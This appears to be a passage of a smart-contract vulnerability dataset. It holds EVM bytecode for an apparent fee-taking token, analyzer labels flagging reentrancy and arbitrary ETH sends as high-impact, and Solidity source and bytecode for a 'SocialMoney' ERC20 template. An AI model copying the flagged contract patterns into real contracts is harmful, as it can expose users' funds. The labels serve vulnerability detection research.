d5b505050506040513d601f19601f82011682018060405250810190610d689190612961565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612961565b6040518363ffffffff1660e01b8152600401610e1f929190612e24565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612961565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e76565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b0d565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e4d565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612abb565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fd4565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f94565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190613094565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613034565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f54565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613094565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613014565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f14565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612ff4565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057601160179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613074565b60405180910390fd5b5b5b60125481111561184f57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750601160179054906101000a900460ff165b15611ab65742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131ca565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050601160159054906101000a900460ff16158015611b2e5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750601160169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ef2565b60405180910390fd5b5060008385611c8a91906132ab565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600854821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f34565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa49190612961565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a99594939291906130af565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b9190613251565b905082848261212a9190613220565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fb4565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122bd565b806121e6576121e5612488565b5b50505050565b60008060006121f961249c565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ef2565b60405180910390fd5b506000838561226d9190613220565b9050809150509392505050565b6000600a5414801561228e57506000600b54145b15612298576122bb565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806122cf876124fe565b95509550955095509550955061232d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240e8161260e565b61241884836126cb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124759190613094565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506124d2683635c9adc5dea0000060085461217590919063ffffffff16565b8210156124f157600854683635c9adc5dea000009350935050506124fa565b81819350935050505b9091565b600080600080600080600080600061251b8a600a54600b54612705565b925092509250600061252b6121ec565b9050600080600061253e8e87878761279b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125bf91906131ca565b905083811015612604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fb90612f74565b60405180910390fd5b8091505092915050565b60006126186121ec565b9050600061262f82846120fa90919063ffffffff16565b905061268381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126e08260085461256690919063ffffffff16565b6008819055506126fb816009546125b090919063ffffffff16565b6009819055505050565b6000806000806127316064612723888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061275b606461274d888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061278482612776858c61256690919063ffffffff16565b61256690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b485896120fa90919063ffffffff16565b905060006127cb86896120fa90919063ffffffff16565b905060006127e287896120fa90919063ffffffff16565b9050600061280b826127fd858761256690919063ffffffff16565b61256690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061283761283284613149565b613124565b9050808382526020820190508285602086028201111561285657600080fd5b60005b85811015612886578161286c8882612890565b845260208401935060208301925050600181019050612859565b5050509392505050565b60008135905061289f81613787565b92915050565b6000815190506128b481613787565b92915050565b600082601f8301126128cb57600080fd5b81356128db848260208601612824565b91505092915050565b6000813590506128f38161379e565b92915050565b6000815190506129088161379e565b92915050565b60008135905061291d816137b5565b92915050565b600081519050612932816137b5565b92915050565b60006020828403121561294a57600080fd5b600061295884828501612890565b91505092915050565b60006020828403121561297357600080fd5b6000612981848285016128a5565b91505092915050565b6000806040838503121561299d57600080fd5b60006129ab85828601612890565b92505060206129bc85828601612890565b9150509250929050565b6000806000606084860312156129db57600080fd5b60006129e986828701612890565b93505060206129fa86828701612890565b9250506040612a0b8682870161290e565b9150509250925092565b60008060408385031215612a2857600080fd5b6000612a3685828601612890565b9250506020612a478582860161290e565b9150509250929050565b600060208284031215612a6357600080fd5b600082013567ffffffffffffffff811115612a7d57600080fd5b612a89848285016128ba565b91505092915050565b600060208284031215612aa457600080fd5b6000612ab2848285016128e4565b91505092915050565b600060208284031215612acd57600080fd5b6000612adb848285016128f9565b91505092915050565b600060208284031215612af657600080fd5b6000612b048482850161290e565b91505092915050565b600080600060608486031215612b2257600080fd5b6000612b3086828701612923565b9350506020612b4186828701612923565b9250506040612b5286828701612923565b9150509250925092565b6000612b688383612b74565b60208301905092915050565b612b7d816132df565b82525050565b612b8c816132df565b82525050565b6000612b9d82613185565b612ba781856131a8565b9350612bb283613175565b8060005b83811015612be3578151612bca8882612b5c565b9750612bd58361319b565b925050600181019050612bb6565b5085935050505092915050565b612bf9816132f1565b82525050565b612c0881613334565b82525050565b6000612c1982613190565b612c2381856131b9565b9350612c33818560208601613346565b612c3c81613480565b840191505092915050565b6000612c546023836131b9565b9150612c5f82613491565b604082019050919050565b6000612c77602a836131b9565b9150612c82826134e0565b604082019050919050565b6000612c9a6022836131b9565b9150612ca58261352f565b604082019050919050565b6000612cbd601b836131b9565b9150612cc88261357e565b602082019050919050565b6000612ce0601d836131b9565b9150612ceb826135a7565b602082019050919050565b6000612d036021836131b9565b9150612d0e826135d0565b604082019050919050565b6000612d266020836131b9565b9150612d318261361f565b602082019050919050565b6000612d496029836131b9565b9150612d5482613648565b604082019050919050565b6000612d6c6025836131b9565b9150612d7782613697565b604082019050919050565b6000612d8f6024836131b9565b9150612d9a826136e6565b604082019050919050565b6000612db26017836131b9565b9150612dbd82613735565b602082019050919050565b6000612dd56011836131b9565b9150612de08261375e565b602082019050919050565b612df48161331d565b82525050565b612e0381613327565b82525050565b6000602082019050612e1e6000830184612b83565b92915050565b6000604082019050612e396000830185612b83565b612e466020830184612b83565b9392505050565b6000604082019050612e626000830185612b83565b612e6f6020830184612deb565b9392505050565b600060c082019050612e8b6000830189612b83565b612e986020830188612deb565b612ea56040830187612bff565b612eb26060830186612bff565b612ebf6080830185612b83565b612ecc60a0830184612deb565b979650505050505050565b6000602082019050612eec6000830184612bf0565b92915050565b60006020820190508181036000830152612f0c8184612c0e565b905092915050565b60006020820190508181036000830152612f2d81612c47565b9050919050565b60006020820190508181036000830152612f4d81612c6a565b9050919050565b60006020820190508181036000830152612f6d81612c8d565b9050919050565b60006020820190508181036000830152612f8d81612cb0565b9050919050565b60006020820190508181036000830152612fad81612cd3565b9050919050565b60006020820190508181036000830152612fcd81612cf6565b9050919050565b60006020820190508181036000830152612fed81612d19565b9050919050565b6000602082019050818103600083015261300d81612d3c565b9050919050565b6000602082019050818103600083015261302d81612d5f565b9050919050565b6000602082019050818103600083015261304d81612d82565b9050919050565b6000602082019050818103600083015261306d81612da5565b9050919050565b6000602082019050818103600083015261308d81612dc8565b9050919050565b60006020820190506130a96000830184612deb565b92915050565b600060a0820190506130c46000830188612deb565b6130d16020830187612bff565b81810360408301526130e38186612b92565b90506130f26060830185612b83565b6130ff6080830184612deb565b9695505050505050565b600060208201905061311e6000830184612dfa565b92915050565b600061312e61313f565b905061313a8282613379565b919050565b6000604051905090565b600067ffffffffffffffff82111561316457613163613451565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131d58261331d565b91506131e08361331d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613215576132146133f3565b5b828201905092915050565b600061322b8261331d565b91506132368361331d565b92508261324657613245613422565b5b828204905092915050565b600061325c8261331d565b91506132678361331d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132a05761329f6133f3565b5b828202905092915050565b60006132b68261331d565b91506132c18361331d565b9250828210156132d4576132d36133f3565b5b828203905092915050565b60006132ea826132fd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061333f8261331d565b9050919050565b60005b83811015613364578082015181840152602081019050613349565b83811115613373576000848401525b50505050565b61338282613480565b810181811067ffffffffffffffff821117156133a1576133a0613451565b5b80604052505050565b60006133b58261331d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133e8576133e76133f3565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613790816132df565b811461379b57600080fd5b50565b6137a7816132f1565b81146137b257600080fd5b50565b6137be8161331d565b81146137c957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058e9069cfe39385545e8e8abf670dda9a7b86aa8325847c58e645ea2d5e763e964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 930 |
0xd1b183f425f7e6a0c83ab1cd84cfde2d84ba049d | pragma solidity 0.5.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0));
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
/**
* @title Template contract for social money, to be used by TokenFactory
* @author Jake Goh Si Yuan @ jakegsy, jake@jakegsy.com
*/
contract SocialMoney is ERC20 {
/**
* @dev Constructor on SocialMoney
* @param _name string Name parameter of Token
* @param _symbol string Symbol parameter of Token
* @param _decimals uint8 Decimals parameter of Token
* @param _proportions uint256[3] Parameter that dictates how totalSupply will be divvied up,
_proportions[0] = Vesting Beneficiary Initial Supply
_proportions[1] = Turing Supply
_proportions[2] = Vesting Beneficiary Vesting Supply
* @param _vestingBeneficiary address Address of the Vesting Beneficiary
* @param _platformWallet Address of Turing platform wallet
* @param _tokenVestingInstance address Address of Token Vesting contract
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256[3] memory _proportions,
address _vestingBeneficiary,
address _platformWallet,
address _tokenVestingInstance
)
public
{
name = _name;
symbol = _symbol;
decimals = _decimals;
uint256 totalProportions = _proportions[0].add(_proportions[1]).add(_proportions[2]);
_mint(_vestingBeneficiary, _proportions[0]);
_mint(_platformWallet, _proportions[1]);
_mint(_tokenVestingInstance, _proportions[2]);
//Sanity check that the totalSupply is exactly where we want it to be
assert(totalProportions == totalSupply());
}
} | 0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461019557806323b872dd146101bc578063313ce567146101ff578063395093511461022a57806370a082311461026357806379cc67901461029657806395d89b41146102d1578063a457c2d7146102e6578063a9059cbb1461031f578063dd62ed3e14610358575b600080fd5b3480156100ca57600080fd5b506100d3610393565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b506101816004803603604081101561016b57600080fd5b50600160a060020a038135169060200135610421565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506101aa61049f565b60408051918252519081900360200190f35b3480156101c857600080fd5b50610181600480360360608110156101df57600080fd5b50600160a060020a038135811691602081013590911690604001356104a5565b34801561020b57600080fd5b5061021461061a565b6040805160ff9092168252519081900360200190f35b34801561023657600080fd5b506101816004803603604081101561024d57600080fd5b50600160a060020a038135169060200135610623565b34801561026f57600080fd5b506101aa6004803603602081101561028657600080fd5b5035600160a060020a03166106d3565b3480156102a257600080fd5b506102cf600480360360408110156102b957600080fd5b50600160a060020a0381351690602001356106ee565b005b3480156102dd57600080fd5b506100d36106fc565b3480156102f257600080fd5b506101816004803603604081101561030957600080fd5b50600160a060020a038135169060200135610757565b34801561032b57600080fd5b506101816004803603604081101561034257600080fd5b50600160a060020a0381351690602001356107a2565b34801561036457600080fd5b506101aa6004803603604081101561037b57600080fd5b50600160a060020a0381358116916020013516610881565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104195780601f106103ee57610100808354040283529160200191610419565b820191906000526020600020905b8154815290600101906020018083116103fc57829003601f168201915b505050505081565b6000600160a060020a038316151561043857600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a0383166000908152602081905260408120548211156104ca57600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156104fa57600080fd5b600160a060020a038316151561050f57600080fd5b600160a060020a038416600090815260208190526040902054610538908363ffffffff6108ac16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461056d908363ffffffff6108be16565b600160a060020a038085166000908152602081815260408083209490945591871681526001825282812033825290915220546105af908363ffffffff6108ac16565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60055460ff1681565b6000600160a060020a038316151561063a57600080fd5b336000908152600160209081526040808320600160a060